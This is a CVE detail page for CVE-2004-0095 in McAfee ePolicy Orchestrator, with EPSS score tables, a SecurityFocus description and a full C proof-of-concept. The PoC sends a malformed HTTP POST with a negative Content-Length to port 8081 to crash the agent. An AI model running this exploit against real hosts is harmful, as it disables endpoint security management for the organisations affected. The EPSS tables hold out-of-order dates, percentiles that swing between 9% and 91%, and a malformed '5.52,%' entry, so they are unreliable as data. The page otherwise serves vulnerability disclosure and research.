CVE-2004-0095 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	6.21%	–	–
2022-04-03	–	–	6.21%	–	–
2022-11-13	–	–	6.21%	–	–
2022-11-20	–	–	6.21%	–	–
2022-12-25	–	–	6.21%	–	–
2023-01-01	–	–	6.21%	–	–
2023-02-26	–	–	6.21%	–	–
2023-03-12	–	–	–	2.43%	–
2023-07-23	–	–	–	2.43%	–
2024-02-11	–	–	–	2.43%	–
2024-06-02	–	–	–	2.43%	–
2024-12-22	–	–	–	2.13%	–
2025-02-16	–	–	–	1.78%	–
2025-01-19	–	–	–	2.13%	–
2025-02-16	–	–	–	1.78%	–
2025-03-18	–	–	–	–	5.18%
2025-03-30	–	–	–	–	5.52%
2025-04-15	–	–	–	–	5.52%
2025-04-15	–	–	–	–	5.52,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	78%
2022-04-03	9%
2022-11-13	91%
2022-11-20	9%
2022-12-25	91%
2023-01-01	9%
2023-02-26	91%
2023-03-12	88%
2023-07-23	89%
2024-02-11	9%
2024-06-02	9%
2024-12-22	89%
2025-02-16	88%
2025-01-19	89%
2025-02-16	88%
2025-03-18	89%
2025-03-30	89%
2025-04-15	9%
2025-04-15	9%

// source: https://www.securityfocus.com/bid/9476/info The McAfee ePolicy Orchestrator agent has been reported to a buffer management vulnerability that may be exploited to crash the affected agent. Although unconfirmed, it has been reported that the issue may also allow a remote attacker to trigger a buffer overflow vulnerability. The issue reportedly presents itself, because certain values in HTTP POST headers processed by the ePolicy Orchestrator are not sufficiently sanitized. /* >McAfee ePolicy Orchestrator Agent HTTP POST Buffer Mismanagement Vulnerability PoC >Ref : http://securityfocus.com/bid/9476 >discovered by : cyber_flash@hotmail.com " The McAfee ePolicy Orchestrator agent has been reported to a buffer management vulnerability that may be exploited to crash the affected agent. Although unconfirmed, it has been reported that the issue may also allow a remote attacker to trigger a buffer overflow vulnerability. The issue reportedly presents itself, because certain values in HTTP POST headers processed by the ePolicy Orchestrator are not sufficiently sanitized. " >Hi NA-eye ;-) . Hurry-yup . relase a patch guyz ! + PoC by Shashank Pandey a.k.a G0D_0F_z10N + > Greetz to my dewd 'Arun Jose' for 'Grass is not addictive..thing' while i wuz writing this..! > lame coding ..dont think too much abt it... */ #include <windows.h> #include <winsock.h> #include <stdio.h> #pragma comment (lib,"ws2_32") int main(int argc, char *argv[]) { WSADATA wsaData; int s; struct hostent *yo; struct sockaddr_in wutever; char badb0y[] = "POST /spipe/pkg?AgentGuid={}&Source=Agent_3.0.0 HTTP/1.0\r\n" "Accept: application/octet-stream\r\n" "Accept-Language: en-us\r\n" "Content-Type: application/octet-stream\r\n" "User-Agent: Godzilla/6.9 (compatible; SPIPE/3.0; Windows)\r\n" "Host: EPO_DIE\r\n" "Content-Length: -1\r\n" "Connection: Keep-Alive\r\n\r\n"; printf("\n--------------------------------- "); printf("\n McAfee ePO agent overflow PoC \n"); printf("+++++++++++++++++++++++++++++++++\n"); printf(" by Shashank Pandey \n"); printf(" (reach_shash@linuxmail.org) \n"); printf("--------------------------------- \n"); if(WSAStartup(0x0101,&wsaData)!=0) { printf("Error :Cudn't initiate winsock!"); return 0; } if(argc<2) {printf("\nUsage : %s <I.P./Hostname>\n\n",argv[0]); exit(0);} if ( (yo = gethostbyname(argv[1]))==0) { printf("error: can't resolve '%s'",argv[1]); return 1; } wutever.sin_port = htons(8081); // ePO agent uses the HTTP protocol to communicate on port 8081 wutever.sin_family = AF_INET; wutever.sin_addr = *((struct in_addr *)yo->h_addr); if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){ printf("error: can't create socket"); return 1; } if ((connect(s, (struct sockaddr *) &wutever, sizeof(wutever))) == -1){ printf("Error:Cudn't Connect\r\n"); return 1; } printf("\r\nCrashing the client...< it's a PoC dewd ;-) >\n"); send(s,badb0y,strlen(badb0y),0); closesocket(s); WSACleanup(); return 1; }